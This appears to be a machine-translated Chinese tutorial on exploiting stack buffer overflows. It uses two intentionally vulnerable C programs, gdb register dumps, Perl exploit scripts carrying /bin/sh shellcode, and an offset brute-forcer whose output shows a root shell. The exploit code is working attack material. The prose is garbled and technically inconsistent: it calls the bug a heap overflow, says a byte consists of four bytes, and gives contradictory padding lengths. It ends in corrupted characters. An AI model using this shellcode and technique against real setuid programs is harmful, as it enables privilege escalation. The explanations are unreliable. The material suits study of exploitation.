第一部分
描述:
PERL堆缓冲区溢出利用不仅仅当涉及munging时,此外作为C探索利用这个堆.这简文章将略述非常轻易利用的PERL来完成基于标准C程序的缓冲区利用.
具体内容:
和别的缓冲区溢出文章的写法一样,我们首先给出漏洞的代码,然后通过调试,测试最后到写出漏洞的利用程序这个思路。
让我们来给出一个非常简单和普通的例子.
- vuln.c --
#include
int main(int argc, char **argv) {
char buffer[180];
if(argc>1)
strcpy(buffer,argv[1]);
printf("got data!\n");
}
-- end vuln.c --
这个缓冲区的溢出非常的明显.这个指针的拷贝没有任何边界的检测,同时可以覆盖EIP内存的地址.
[cnbird@loc~]$gcc -o vuln vuln.c
[cnbird@loc~]$./vuln A
输出got data!
OK,在这里的没有什么大的异常,下面让我们来更加我们的输入数据.
[cnbird@loc~]$./vuln `perl -e ';print "A"x184';`
学过perl的都应该知道,我们的`perl -e ';print "A"x184';是输入184个A来作为命令的输入
下面给出输出的数据
got data!
Segmentation fault(core dump)
看起来象我们已经溢出缓冲区,但是我们如何修改运行程序的EIP的地址然后来运行我们的程序呢?
内存中的1 byte是由4个字节的地址组成,注意是地址,举个例子来说明一下
例如:
| 83 | --
| 84 | -- 4 bytes of data store 1 memory address
| 85 | --
| 86 | --
| 87 | --
| 88 | -- another 4 bytes for the next address
| 89 | --
| 90 | --
这样看就应该很清楚了吧.
现在我们用gdb来调试程序.
[cnbird@loc~]$gdb vuln core --quiet
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x40033a1e in __libc_start_main () from /lib/libc.so.6
(gdb) info reg
eax 0x400ff0d8 1074786520
ecx 0xbffff910 -1073743600
edx 0x1 1
ebx 0x400ffed4 1074790100
esp 0xbffff908 0xbffff908
ebp 0x41414141 0x41414141
esi 0x4000acb0 1073786032
edi 0xbffff954 -1073743532
eip 0x40033a1e 0x40033a1e
eflags 0x10292 66194
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
如我们所见,EIP没到达缓冲区益处,但是EBP做到了。
现在我们知道内存中的布局看起来象这样
__|__
| |
| EBP | - 4 byte address
|_____|
__|__
| |
| EIP | - next 4 byte address
|_____|
如此明知的我们知道如果给我们输入的字符加4个字节的数据话,我们讲完成对EIP的覆盖,
我们这里可以用./vuln `perl -e ';print "A"x88';`
[cnbird@loc~]$./vuln `perl -e ';print "A"x88';`
程序的输出结果:
got data!
Segmentation fault (core dumped)
[cnbird@loc~]$gdb vuln core --quiet
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info reg
eax 0xa 10
ecx 0x40014000 1073823744
edx 0x400fe660 1074783840
ebx 0x400ffed4 1074790100
esp 0xbffff910 0xbffff910
ebp 0x41414141 0x41414141
esi 0x4000acb0 1073786032
edi 0xbffff954 -1073743532
eip 0x41414141 0x41414141
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
我们的预言是正确的。 那些16进制的0x 41等价物是"A",一完全写作过度成功。
我们的缓冲区看来来已经是这样的:
EIP
______|_______
/ | | \
187 188 189 190
A A A A -> our input data
41 41 41 41 -> hex address( 41414141 )
现在我们怎么去创建漏洞的利用程序呢?
第一步是得到ESP的值,在这种情况下它的值0xbffff910。创建能够运行/bin/sh的shellcode,然后用数据的长度充满$buf我们过去写过的EIP. 同时$ret做为ESP的值.
-- exp.pl --
#!/usr/bin/perl
$shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
$ret = 0xbffffaa0;
$buf = 188;
$egg = 2000;
$nop = "\x90";
$offset = 0;
if (@ARGV == 1) { $offset = $ARGV[0]; }
$addr = pack(';l';, ($ret + $offset));
for ($i = 0; $i < $buf; $i += 4) {
$buffer .= $addr;
}
for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
exec("./vuln", $buffer,0);
-- end exp.pl --
[cnbird@loc~]$perl exp.pl
输出的结果
got data!
Illegal instruction
看起来象,离开仅仅我们从得的那/bin/shell.现在,让我们带$offset使用当时多种我们的shellcode在内存中的范围.运行下面给出的脚本来获得当前的offset要求去破坏这个shell.^_^.
#!/usr/bin/perl
for($i=-2000;$i<2000;$i++) {
print("trying offset: $i\n");
system("ulimit -c 0;./exp.pl $i");
}
[cnbird@loc~]$perl brute.pl
trying offset: -2000
got data!
trying offset: -1999
got data!
..
trying offset: 100
bash#
(当然如果这个程序是设置了suid的,它讲不能和root进行交互,为了能指导这躺课,我做了setsuid的漏洞利用程序.)
所以我们就得到了offset100是我们要利用的.下面让我们来对exp.pl进行初试化.
[cnbird@loc~]$id
uid=500(cnbird) gid=500(user) groups=500(users)
[cnbird@loc~]$./exp.pl 100
got data!
bash# id
uid=0(root) gid=100(users) egid=0(root) groups=100(users)
哈哈,这个时候我们再内存中找到了/bin/sh的地址.
呵呵是不是非常得到简单啊?其实知道了原理一切就非常简单了.
第二部分
现在我们来举一个环境变量的溢出,与命令行相反输入变元溢出.
-- vuln2.c --
#include
main() {
char buffer[1024];
if (getenv("USER") == NULL) {
fprintf(stderr, "Oops!\n");
exit(1);
}
strcpy(buffer, (char *)getenv("USER"));
printf("Environment variable USER is:\"%s\".\n", buffer);
return 1;}
-- end vuln2.c --
过长的USER环境变量讲被拷贝到没有检测的有1024字节限制的缓冲区中,由于这被给的知识让我们利用实际上的一些。
[cnbird@loc~]$./vuln2.c
Environment variable USER is: "cnbird".
认为:
1025 1026 1027 1028 是EBP的地址
1029 1030 1031 1032 是EIP的地址
这个时候当我们输入1032字符串给USER环境变量的时候讲会覆盖EIP。
[cnbird@loc~]$export USER=`perl -e ';print "A"x1032';`
[cnbird@loc~]$./vuln2
Environment variable USER is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
Segmentation fault (core dumped)
继续调试
[cnbird@loc~]$gdb vuln2 core --quiet
(no debugging symbols found)...Core was generated by `./vuln2';.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x41414141 in ?? ()
(gdb) info reg esp
esp 0x7ffff8e0 0x7ffff8e0
esp 地址将是要在我们过程中使用的地址 所以让我们来创建它.
-- exp2.pl --
#!/usr/bin/perl
$shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0" .
"\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" .
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
$buf = 1032;
$ret = 0x7ffff8e0;
$nop = "\x90";
$offset = -96; # worked for me
if (@ARGV == 1) { $offset = $ARGV[0]; }
for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
$addr = pack(';l';, ($ret + $offset));
for ($i += length($shellcode); $i < $buf; $i += 4) {
$buffer .= $addr;
}
$ENV{';USER';} = $buffer; exec("./vuln2");
-- end exp2.pl --
Environment variable USER is:
"悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙?悙悙悙悙??郯? |